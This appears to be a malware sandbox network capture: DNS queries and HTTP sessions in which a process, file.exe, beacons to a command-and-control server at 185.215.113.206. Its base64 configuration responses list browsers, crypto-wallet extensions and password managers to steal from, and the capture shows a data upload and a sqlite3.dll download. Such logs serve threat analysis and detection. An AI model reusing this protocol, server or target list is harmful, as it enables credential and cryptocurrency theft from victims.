Nov 12, 2024 02:14:22.718291044 CET	1.1.1.1	192.168.2.4	0xab0b	No error (0)	cold-eu-fsn-2.gofile.io		49.12.130.36	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:24.138236046 CET	1.1.1.1	192.168.2.4	0xa3f	No error (0)	gofile.io		45.112.123.126	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.283229113 CET	1.1.1.1	192.168.2.4	0xdecb	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.314651012 CET	1.1.1.1	192.168.2.4	0x1c5d	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.341626883 CET	1.1.1.1	192.168.2.4	0xe1e4	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.369081974 CET	1.1.1.1	192.168.2.4	0x3a99	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.395544052 CET	1.1.1.1	192.168.2.4	0x252	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.432497978 CET	1.1.1.1	192.168.2.4	0x6644	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.459367990 CET	1.1.1.1	192.168.2.4	0x3ac4	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.486099005 CET	1.1.1.1	192.168.2.4	0x9e3f	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.496294022 CET	1.1.1.1	192.168.2.4	0x36bf	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	185.215.113.206	80	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:03.028444052 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:13:03.956825018 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:03.959467888 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"mars------KEGCBFCBFBKFHIECAFCF--
Nov 12, 2024 02:13:04.262605906 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 55 32 4e 57 59 7a 59 7a 56 69 5a 54 59 78 5a 54 51 30 4e 44 51 7a 4d 57 55 79 4e 6d 5a 68 4f 47 55 77 4d 6a 45 31 5a 44 45 30 4f 54 67 34 4e 6d 51 34 4e 6a 4d 7a 4e 44 59 31 5a 47 4d 31 4e 7a 49 35 4e 54 51 79 5a 47 4d 31 4f 47 4e 69 4d 6a 4a 68 4f 54 67 79 59 6a 64 6b 59 57 4d 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWU2NWYzYzViZTYxZTQ0NDQzMWUyNmZhOGUwMjE1ZDE0OTg4NmQ4NjMzNDY1ZGM1NzI5NTQyZGM1OGNiMjJhOTgyYjdkYWMzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 02:13:04.264656067 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="message"browsers------BFBKFHIDHIIJJKECGHCF--
Nov 12, 2024 02:13:04.557512999 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 02:13:04.557527065 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 12, 2024 02:13:04.557537079 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 12, 2024 02:13:04.558749914 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="message"plugins------HDHCFIJEGCAKJJKEHJJE--
Nov 12, 2024 02:13:04.852029085 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 02:13:04.852045059 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 12, 2024 02:13:04.852061033 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 12, 2024 02:13:04.852135897 CET	212	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8
Nov 12, 2024 02:13:04.852147102 CET	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
Nov 12, 2024 02:13:04.852174044 CET	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Nov 12, 2024 02:13:04.852188110 CET	1236	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx
Nov 12, 2024 02:13:04.852200031 CET	636	IN	Data Raw: 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 Data Ascii: bWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1
Nov 12, 2024 02:13:04.852643013 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 12, 2024 02:13:04.853905916 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="message"fplugins------JDBKJJKEBGHIDGCBKJJD--
Nov 12, 2024 02:13:05.146312952 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 02:13:05.163239956 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKF Host: 185.215.113.206 Content-Length: 6603 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:13:05.979082108 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:06.212901115 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:06.503624916 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 